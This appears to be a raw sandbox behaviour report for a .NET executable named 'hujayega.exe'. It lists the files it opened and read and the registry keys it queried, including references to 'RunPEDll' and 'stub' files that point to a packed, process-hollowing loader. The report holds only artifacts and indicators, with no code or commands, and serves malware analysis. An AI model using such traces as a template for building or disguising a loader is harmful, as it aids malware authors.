C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll
\Device\KsecDD
C:\Windows\assembly\NativeImages_v4.0.30319_32\hujayega\*
C:\Users\Seven01\AppData\Local\Temp\hujayega.INI
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c7dd43f20550205c8b37ec91b5f2bec7\System.Windows.Forms.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c7dd43f20550205c8b37ec91b5f2bec7\System.Windows.Forms.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_32\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Serialization.Formatters.Soap\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Serialization.Formatters.Soap.dll
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll
C:\Windows\System32\it-IT\tzres.dll.mui
C:\Users\Seven01\AppData\Local\Temp\it-IT\hujayega.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\hujayega.resources\hujayega.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\hujayega.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\hujayega.resources\hujayega.resources.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Users\Seven01\AppData\Local\Temp\it\hujayega.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\hujayega.resources\hujayega.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\hujayega.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\hujayega.resources\hujayega.resources.exe
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll
C:\Windows\assembly\GAC_64
C:\Windows\assembly\GAC_64\mscorlib.resources
C:\Windows\assembly\GAC_32
C:\Windows\assembly\GAC_32\mscorlib.resources
C:\Windows\assembly\GAC_MSIL
C:\Windows\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\*
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC
C:\Windows\assembly\GAC\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_64
C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_32
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_MSIL
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC
C:\Windows\Microsoft.Net\assembly\GAC_32\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll.exe
C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.exe
C:\Windows\SysWOW64\ntdll.dll

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\hujayega.exe.config
C:\Users\Seven01\AppData\Local\Temp\hujayega.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c7dd43f20550205c8b37ec91b5f2bec7\System.Windows.Forms.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c7dd43f20550205c8b37ec91b5f2bec7\System.Windows.Forms.ni.dll
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Windows\System32\it-IT\tzres.dll.mui
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\SysWOW64\ntdll.dll

Write Files

Nothing to display

Delete Files

Nothing to display

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v4.0.30319\SKUs\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v4.0.30319\SKUs\default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hujayega.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Servicing
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\TZI
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\Dynamic DST
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Display
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Std
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Dlt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|hujayega.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|hujayega.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|hujayega.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\hujayega.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\E45F009E
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\TZI
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Display
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Std
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Dlt
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
